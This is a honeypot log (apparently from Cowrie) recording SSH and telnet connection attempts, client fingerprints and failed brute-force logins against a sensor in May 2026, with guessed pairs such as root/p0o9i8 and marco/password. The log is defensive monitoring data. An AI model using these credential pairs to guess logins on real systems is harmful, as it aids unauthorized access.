{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44088,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e378cb61047","protocol":"telnet","message":"New connection: 135.148.14.151:44088 (159.203.135.109:23) [session: 1e378cb61047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:27.433112Z"}
{"eventid":"cowrie.session.closed","duration":38.16989707946777,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:50.400436Z","src_ip":"135.148.14.151","session":"53648ac4dfc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":54172,"dst_ip":"159.203.135.109","dst_port":22,"session":"22eb7ae68365","protocol":"ssh","message":"New connection: 129.226.4.94:54172 (159.203.135.109:22) [session: 22eb7ae68365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:55.658869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:55.665375Z","src_ip":"129.226.4.94","session":"22eb7ae68365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:55.902402Z","src_ip":"129.226.4.94","session":"22eb7ae68365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karim","password":"karim123","message":"login attempt [karim/karim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:56.881050Z","src_ip":"129.226.4.94","session":"22eb7ae68365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:54:58.125098Z","src_ip":"129.226.4.94","session":"22eb7ae68365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.3297553062439,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:03.762746Z","src_ip":"135.148.14.151","session":"1e378cb61047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38876,"dst_ip":"10.17.0.5","dst_port":22,"session":"941433c405a5","protocol":"ssh","message":"New connection: 103.27.238.114:38876 (10.17.0.5:22) [session: 941433c405a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:04.503429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:04.508701Z","src_ip":"103.27.238.114","session":"941433c405a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:04.781846Z","src_ip":"103.27.238.114","session":"941433c405a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8","message":"login attempt [root/p0o9i8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:05.600491Z","src_ip":"103.27.238.114","session":"941433c405a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:06.878733Z","src_ip":"103.27.238.114","session":"941433c405a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33288,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac553d7b608","protocol":"telnet","message":"New connection: 135.148.14.151:33288 (159.203.135.109:23) [session: aac553d7b608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:09.174005Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35296,"dst_ip":"159.203.135.109","dst_port":23,"session":"17eec139b656","protocol":"telnet","message":"New connection: 135.148.14.151:35296 (159.203.135.109:23) [session: 17eec139b656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:09.194486Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41744,"dst_ip":"159.203.135.109","dst_port":23,"session":"999931ee3ec5","protocol":"telnet","message":"New connection: 135.148.14.151:41744 (159.203.135.109:23) [session: 999931ee3ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:24.943747Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":60772,"dst_ip":"159.203.135.109","dst_port":22,"session":"de82964b7efb","protocol":"ssh","message":"New connection: 197.221.232.44:60772 (159.203.135.109:22) [session: de82964b7efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:29.138608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:29.147057Z","src_ip":"197.221.232.44","session":"de82964b7efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:29.310159Z","src_ip":"61.151.249.194","session":"f8d99631ec12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:29.394837Z","src_ip":"197.221.232.44","session":"de82964b7efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Berbidvps.ir","message":"login attempt [root/Berbidvps.ir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:30.408834Z","src_ip":"197.221.232.44","session":"de82964b7efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:31.656968Z","src_ip":"197.221.232.44","session":"de82964b7efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48510,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3b024b34bb5","protocol":"telnet","message":"New connection: 135.148.14.151:48510 (159.203.135.109:23) [session: a3b024b34bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:36.507754Z"}
{"eventid":"cowrie.session.closed","duration":31.78034734725952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:40.973677Z","src_ip":"135.148.14.151","session":"17eec139b656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.13497042655945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:44.308853Z","src_ip":"135.148.14.151","session":"aac553d7b608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53594,"dst_ip":"159.203.135.109","dst_port":23,"session":"77015e761cf3","protocol":"telnet","message":"New connection: 135.148.14.151:53594 (159.203.135.109:23) [session: 77015e761cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:47.398780Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49512,"dst_ip":"159.203.135.109","dst_port":22,"session":"460de9ca023e","protocol":"ssh","message":"New connection: 109.237.96.109:49512 (159.203.135.109:22) [session: 460de9ca023e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:50.426298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:50.431123Z","src_ip":"109.237.96.109","session":"460de9ca023e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:50.521620Z","src_ip":"109.237.96.109","session":"460de9ca023e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mohammed","message":"login attempt [root/mohammed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:50.792696Z","src_ip":"109.237.96.109","session":"460de9ca023e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:51.923786Z","src_ip":"109.237.96.109","session":"460de9ca023e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45560,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1e1dd345246","protocol":"ssh","message":"New connection: 194.113.233.25:45560 (10.17.0.5:22) [session: a1e1dd345246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:53.755178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:53.758971Z","src_ip":"194.113.233.25","session":"a1e1dd345246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:53.851662Z","src_ip":"194.113.233.25","session":"a1e1dd345246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertq","message":"login attempt [root/qwertq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:54.129328Z","src_ip":"194.113.233.25","session":"a1e1dd345246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:55.225931Z","src_ip":"194.113.233.25","session":"a1e1dd345246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.047935485839844,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:55:59.991553Z","src_ip":"135.148.14.151","session":"999931ee3ec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36926,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecf8694a20a4","protocol":"telnet","message":"New connection: 135.148.14.151:36926 (159.203.135.109:23) [session: ecf8694a20a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:13.380321Z"}
{"eventid":"cowrie.session.closed","duration":37.83377814292908,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:14.341416Z","src_ip":"135.148.14.151","session":"a3b024b34bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.8.189.211","src_port":64441,"dst_ip":"159.203.135.109","dst_port":23,"session":"54d02e632a42","protocol":"telnet","message":"New connection: 58.8.189.211:64441 (159.203.135.109:23) [session: 54d02e632a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:18.301115Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.104.197.13","src_port":34076,"dst_ip":"159.203.135.109","dst_port":23,"session":"05f0d1f02ab9","protocol":"telnet","message":"New connection: 118.104.197.13:34076 (159.203.135.109:23) [session: 05f0d1f02ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:20.702308Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39880,"dst_ip":"159.203.135.109","dst_port":23,"session":"56868993d1d3","protocol":"telnet","message":"New connection: 135.148.14.151:39880 (159.203.135.109:23) [session: 56868993d1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:20.980774Z"}
{"eventid":"cowrie.session.closed","duration":35.86207127571106,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:23.260754Z","src_ip":"135.148.14.151","session":"77015e761cf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43194,"dst_ip":"159.203.135.109","dst_port":23,"session":"6061d61d8baa","protocol":"telnet","message":"New connection: 135.148.14.151:43194 (159.203.135.109:23) [session: 6061d61d8baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:27.219289Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":52694,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f39f3fbe6ab","protocol":"ssh","message":"New connection: 129.226.4.94:52694 (159.203.135.109:22) [session: 4f39f3fbe6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:27.685801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:27.690734Z","src_ip":"129.226.4.94","session":"4f39f3fbe6ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:27.928641Z","src_ip":"129.226.4.94","session":"4f39f3fbe6ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marco","password":"password","message":"login attempt [marco/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:28.911182Z","src_ip":"129.226.4.94","session":"4f39f3fbe6ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:30.153776Z","src_ip":"129.226.4.94","session":"4f39f3fbe6ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.835291147232056,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:34.136277Z","src_ip":"58.8.189.211","session":"54d02e632a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.481576919555664,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:37.183777Z","src_ip":"118.104.197.13","session":"05f0d1f02ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32159733772278,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:48.701751Z","src_ip":"135.148.14.151","session":"ecf8694a20a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.386240005493164,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:56:55.366889Z","src_ip":"135.148.14.151","session":"56868993d1d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.23769569396973,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:02.456852Z","src_ip":"135.148.14.151","session":"6061d61d8baa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.172.88.206","src_port":54452,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3231a73d05a","protocol":"ssh","message":"New connection: 107.172.88.206:54452 (10.17.0.5:22) [session: f3231a73d05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:40.832509Z"}
